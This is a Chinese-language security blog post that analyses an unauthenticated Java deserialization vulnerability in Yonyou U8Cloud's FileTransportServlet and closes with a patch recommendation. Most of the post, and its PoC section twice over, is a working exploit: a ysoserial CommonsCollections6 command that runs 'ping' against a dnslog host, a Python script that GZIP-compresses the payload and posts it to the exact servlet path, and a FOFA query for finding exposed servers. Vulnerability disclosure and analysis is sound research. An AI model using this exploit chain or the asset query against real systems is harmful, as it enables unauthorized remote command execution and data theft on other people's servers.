用友U8Cloud FileTransportServlet方法GZIP解压数据流反序列化漏洞分析

U8cloud系统FileTransportServlet方法中存在对前端传入内容GZIP解压并反序列化解析,造成反序列化漏洞

一、漏洞简介

U8cloud系统FileTransportServlet方法中存在对前端传入内容GZIP解压并反序列化解析,造成反序列化漏洞,攻击者未经授权可以执行任意系统命令,造成敏感信息信息泄露。

二、影响版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp

三、漏洞分析

在U8cloud系统中,存在利用方法简单没有任何过滤的反序列化漏洞

首先以用友U8Cloud FileTransportServlet反序列化漏洞为例,FileTransportServlet类方法如下

image.png

关键代码如下

  public void performTask(HttpServletRequest request, HttpServletResponse response) throws Exception {
    GZIPInputStream input = new GZIPInputStream((InputStream)request.getInputStream());
    GZIPOutputStream output = new GZIPOutputStream((OutputStream)response.getOutputStream());
    ObjectOutputStream objOut = new ObjectOutputStream(output);
    ObjectInputStream objInput = new ObjectInputStream(input);
    FileTransportVO transVO = (FileTransportVO)objInput.readObject();
    UnitInfoVO unitInfo = IUFOUICacheManager.getSingleton().getUnitCache().getUnitInfoByCode(transVO.getUnitCode());
    if (unitInfo != null) {
      String strUnitID = unitInfo.getPK();
      ImportFileUtil.importFileByUnit(request.getSession().getId(), transVO.getContent(), strUnitID, transVO.getLangCode());
      objOut.writeObject(null);
    } else {
      objOut.writeObject(new UfoException("miufoexpnew00034", new String[] { transVO.getUnitCode() }));
    } 
    objInput.close();
    objOut.close();
    input.close();
    output.close();
  }

FileTransportServlet类中的performTask方法在初始化时候就会被调用,这里使用GZIPInputStream接收前端的内容传参,之后对内容使用ObjectInputStream.readObject进行反序列化

GZIPInputStream到底是什么作用呢,看下Java的官方库可以得知,这个类主要用于接收经过GZIP文件格式压缩过的数据流

image.png

后端没有对内容做过滤,只需在构造请求时候对内容加一层GZIP压缩即可让后端反序列化执行任意的命令

然后这里简单提一下,要调用FileTransportServlet类,只要在请求路由加上/~service+FileTransportServlet类的完整路径

查看系统的Web.xml,可以看见请求/service/servlet前缀的都经过NCInvokerServlet方法处理

image.png

NCInvokerServlet方法主要功能是获得url路径后,如果是以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用

回到漏洞,这里测试使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中

java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin

再编写一个python脚本读取c.bin文件内容来请求,记得对请求内容进行GZIP压缩,脚本如下

import requests
import gzip

# 读取本地文件bin的内容
with open("c.bin", "rb") as f:
    content = f.read()

# 对内容进行 GZIP 压缩
compressed_content = gzip.compress(content)

# 目标 URL
url = "http://目标地址/servlet/~iufo/nc.ui.iufo.server.center.FileTransportServlet"

# 发送 POST 请求
try:
    response = requests.post(url=url, data=compressed_content)
    print("Response Status Code:", response.status_code)
    print("Response Content:", response.text)
except requests.exceptions.RequestException as e:
    print("An error occurred:", e)

请求成功

image.png

dnslog上面接收到请求,验证反序列化ping命令执行成功

image.png

四、总结

U8cloud系统FileTransportServlet接口的方法中对传入数据流进行GZIP解压后解析造成了反序列化漏洞,攻击者可以构造执行任意的命令。

五、资产测绘

FOFA语法

app="用友-U8-Cloud"

image.png

六、漏洞复现

POC

使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中

java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin

使用Python脚本如下进行请求

import requests
import gzip

# 读取本地文件bin的内容
with open("c.bin", "rb") as f:
    content = f.read()

# 对内容进行 GZIP 压缩
compressed_content = gzip.compress(content)

# 目标 URL
url = "http://目标地址/servlet/~iufo/nc.ui.iufo.server.center.FileTransportServlet"

# 发送 POST 请求
try:
    response = requests.post(url=url, data=compressed_content)
    print("Response Status Code:", response.status_code)
    print("Response Content:", response.text)
except requests.exceptions.RequestException as e:
    print("An error occurred:", e)

请求成功

image.png

dnslog上面接收到请求,验证反序列化ping命令执行成功

image.png

七、修复建议

安装用友U8cloud最新的补丁,删除或过滤对应FileTransportServlet方法中的反序列化接口,避免未授权用户执行恶意的命令获取敏感信息。

  • 发表于 2025-05-09 16:00:00
  • 阅读 ( 2188 )
  • 分类:OA产品

1 条评论

这个漏洞有CVE编号嘛
网上没找到
请先 登录 后评论
请先 登录 后评论
chobits
chobits

8 篇文章

站长统计